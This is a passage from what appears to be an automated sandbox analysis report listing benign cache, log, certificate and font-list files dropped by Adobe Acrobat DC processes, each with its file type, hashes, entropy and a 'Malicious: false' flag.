SHA-256:	1145324756C8EEDCBCE57DA0C9FA1C733B97D6EC8C0A86CC81CA4550CEC06CD5
SHA-512:	DC49CB637A65791A89F8BBA99F1B0DE61DF60E117ED6FF8C8540B8653545324D740EBD3AFC2E1AC5BA22787CC6CE67ED04C0A8A038440E6D20BBA74DADA3F21A
Malicious:	false
Preview:	2025/01/14-21:36:31.586 1f5c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/14-21:36:31.589 1f5c Recovering log #3.2025/01/14-21:36:31.589 1f5c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.170867810020626
Encrypted:	false
SSDEEP:	6:iO8HWT+g0aPVq2Pwkn2nKuAl9Ombzo2jMGIFUtWHWT+lPgZmwoHWT+lPIkwOwknV:70WT+g0gVvYfHAa8uFUteWT+lPg/4WT+
MD5:	77A0080AF646E8C4010435675063BE9C
SHA1:	5BD8243A3019223BF664A77FBD1A0D08584BCAF0
SHA-256:	7B6D34EBE99F4FB67026E8026B892A5F3E69E177433593C0C07CC1C5F8DD86CC
SHA-512:	7391406A473C7E283E54B937EB9D8D65D978E60AC41C8A447A1395CC40860B622E9481D103D6C01E8AFCE1698FED6213047626A357396407198CF15BFA833F6A
Malicious:	false
Preview:	2025/01/14-21:36:31.599 1fa0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/14-21:36:31.600 1fa0 Recovering log #3.2025/01/14-21:36:31.600 1fa0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.170867810020626
Encrypted:	false
SSDEEP:	6:iO8HWT+g0aPVq2Pwkn2nKuAl9Ombzo2jMGIFUtWHWT+lPgZmwoHWT+lPIkwOwknV:70WT+g0gVvYfHAa8uFUteWT+lPg/4WT+
MD5:	77A0080AF646E8C4010435675063BE9C
SHA1:	5BD8243A3019223BF664A77FBD1A0D08584BCAF0
SHA-256:	7B6D34EBE99F4FB67026E8026B892A5F3E69E177433593C0C07CC1C5F8DD86CC
SHA-512:	7391406A473C7E283E54B937EB9D8D65D978E60AC41C8A447A1395CC40860B622E9481D103D6C01E8AFCE1698FED6213047626A357396407198CF15BFA833F6A
Malicious:	false
Preview:	2025/01/14-21:36:31.599 1fa0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/14-21:36:31.600 1fa0 Recovering log #3.2025/01/14-21:36:31.600 1fa0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9fe85139-efb0-4cd3-b9ad-81380b74dbe7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.963364087520733
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqP7WsBdOg2HZZcaq3QYiubInP7E4T3y:Y2sRdsY/dMHO3QYhbG7nby
MD5:	A8DE11286EE95B011433C81626BEB4D2
SHA1:	469985596F80B91FDB1428080300FEFB88F7994C
SHA-256:	346662F356F418265368B977A53807C8BF292F83452F89417774A92909A4A7A6
SHA-512:	CCFF82BCF154D712C2380872A8ACE97568121B3DF5DC8DE5EBA069DF1009115A36D2400448C9A1735A34FDB5006A193A18DBB7D9554F31862C6AFC763B232472
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381468604236917","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":132513},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963364087520733
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqP7WsBdOg2HZZcaq3QYiubInP7E4T3y:Y2sRdsY/dMHO3QYhbG7nby
MD5:	A8DE11286EE95B011433C81626BEB4D2
SHA1:	469985596F80B91FDB1428080300FEFB88F7994C
SHA-256:	346662F356F418265368B977A53807C8BF292F83452F89417774A92909A4A7A6
SHA-512:	CCFF82BCF154D712C2380872A8ACE97568121B3DF5DC8DE5EBA069DF1009115A36D2400448C9A1735A34FDB5006A193A18DBB7D9554F31862C6AFC763B232472
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381468604236917","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":132513},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4730
Entropy (8bit):	5.253821115060234
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7rBl1ECymp/Z:etJCV4FiN/jTN/2r8Mta02fEhgO73go/
MD5:	C344D210A103C66EF88897014CBE82E0
SHA1:	3CBDE7B4C4E4B23CC5E6992B13C66636F8EE783B
SHA-256:	8EB22E6B021DE231C8EC41CF3CF0785D80E2619DAF02F10ABA5065AC2AF5117A
SHA-512:	72A93AD5D472FF0606ABF0827FD6912E6FF4B9FF041E130CC90D85B5847CADFB9592662806BDD29D04D4FF61CBA447AA5AA170AEFAC5A4272BFA2E574E10FB8F
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.213088449107406
Encrypted:	false
SSDEEP:	6:iO8HWT+OUVq2Pwkn2nKuAl9OmbzNMxIFUtWHWT+I0aPgZmwoHWT+pFYIkwOwkn2v:70WT+zVvYfHAa8jFUteWT+I0gg/4WT+D
MD5:	8408BD2696DF4EEF671E7EBC41A86895
SHA1:	C295972188F3B4AB8532CEF4353D844A9F6C058D
SHA-256:	61DF9CB40A6095C1E876285BFAA760A1BE41A63D79966E7A60D38F3DC62D8E3E
SHA-512:	C97BEA7B131B3164AD33E80AB32D114947DB4D90D3AD1653686A956DA671444637EA5268F85E77B534818AA9B5ACAEAAFB788DF6C4BE8C83F7CEEF004D81D693
Malicious:	false
Preview:	2025/01/14-21:36:31.934 1fa0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/14-21:36:31.959 1fa0 Recovering log #3.2025/01/14-21:36:31.968 1fa0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.213088449107406
Encrypted:	false
SSDEEP:	6:iO8HWT+OUVq2Pwkn2nKuAl9OmbzNMxIFUtWHWT+I0aPgZmwoHWT+pFYIkwOwkn2v:70WT+zVvYfHAa8jFUteWT+I0gg/4WT+D
MD5:	8408BD2696DF4EEF671E7EBC41A86895
SHA1:	C295972188F3B4AB8532CEF4353D844A9F6C058D
SHA-256:	61DF9CB40A6095C1E876285BFAA760A1BE41A63D79966E7A60D38F3DC62D8E3E
SHA-512:	C97BEA7B131B3164AD33E80AB32D114947DB4D90D3AD1653686A956DA671444637EA5268F85E77B534818AA9B5ACAEAAFB788DF6C4BE8C83F7CEEF004D81D693
Malicious:	false
Preview:	2025/01/14-21:36:31.934 1fa0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/14-21:36:31.959 1fa0 Recovering log #3.2025/01/14-21:36:31.968 1fa0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250115023635Z-152.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 164 x -74 x 32, cbSize 48598, bits offset 54
Category:	dropped
Size (bytes):	48598
Entropy (8bit):	3.069777943923846
Encrypted:	false
SSDEEP:	192:Zwm7O2ixRSdyOVjpZXKd8W5BJb/Oj/CgB+5jTbAlbndKX94fMRE4nV2jQPnAbj0y:TbixbOVnXs8yMxO+kMiVnA0zpY5
MD5:	CE75FA4AA1117B6A4C828ACE20D8DBC9
SHA1:	66A459ED27ABCB7E0DD30DE2C3D3FCC14EE71AD9
SHA-256:	822808C66374C3600684ED3B77DF311E0EA3D6B3D431E9680DD7ACC4BAABA440
SHA-512:	DCFAEE2D7E7A87D4F2F18898F98DDAB154A7FBB67F81884B7F72AF90718B65D98A005DD4B4291C5C8C4C5B36572B02872E7A388A2F483E8463F2DBFDB35F313C
Malicious:	false
Preview:	BM.......6...(............. .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................NNN.NNN.............................*-..FJ..JMo...............................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.445227528202602
Encrypted:	false
SSDEEP:	384:yezci5t+iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rRs3OazzU89UTTgUL
MD5:	7492AF417D2C4717EC0B025FD12A5B71
SHA1:	7B43C4F5C5175489DAD219FB65A4CEC57F71B3EF
SHA-256:	0B3A1D1F5C6285D026D88E68C5686454191CDEDA1CC7754811A302F1D4169742
SHA-512:	94BC17BDFBC0B033EEF75F8403B753B882663AE5BBA1BF5891F60E863FF5EB60FD868AF0E16FCDA8BB856A5000639085F7981071A8DC228FDFE972EC33A4EB99
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.775140827774509
Encrypted:	false
SSDEEP:	96:7upjuoL6F6LLXKQsLxf1b9IVXEBodRBkI:7uTLhL6LZ1jedRBj
MD5:	F971DE170D713FE57F64B684ADA4E767
SHA1:	DC741709B82CAE83D840413A01149D2BFDEF2F0A
SHA-256:	4D81F7AD7A5203BB77823439D60D1D03188D6C92F5A5EF8522CF5DCC8EB0AF29
SHA-512:	E8E11EF09A6C7DB7D8816B4FF70CB61A37FEE44A696AB20C4E1B9138BDE2889C1358592F2B7326375A3B49574BF99A0157699B432F8C03D10939D5BB355F5B74
Malicious:	false
Preview:	.... .c.......{G...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.756901573172974
Encrypted:	false
SSDEEP:	3:kkFkliz9RXfllXlE/HT8kPzXNNX8RolJuRdxLlGB9lQRYwpDdt:kK7xRIT8sRNMa8RdWBwRd
MD5:	5A89A807E76A2B6A4A85BCA56D316EAD
SHA1:	A755685179A509921CD4FF6AF1769239C4C9BB5B
SHA-256:	6279388F53894F37FA70428AE6C352734F4E82282965F6132B1E0B7431FE4B82
SHA-512:	33E4C238A1CB0F50ED9729F56D7F62BB7FAFD67055C9A13A3F06D4A3C7373EE3776DFA98C12D5140FCA10C26B8721FAEE1F090D085387984DF46546433E45739
Malicious:	false
Preview:	p...... ...........P.f..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKJ99UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:xkDImsLNkPlE99SNxAhUe/3
MD5:	4D888098AAE848F3294588176D5DDEF5
SHA1:	A6C130EF72310F4A19E0984408E4BE15B0808EC4
SHA-256:	E3F3E5A09AE0DA689A4DDCCB18F0C7C83A1BC9B51457D9531418E81144D67D77
SHA-512:	08A80198E9B864BF1CECB6F52732D8E5C587455152ABC01DF87F885AC0E5BDFDF43CD84432F1D63051768597816179935FD5C7AA8A468943003FB49014AEF19C
Malicious:	false
Preview:	p...... ..........<u.f..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7772

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7772

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
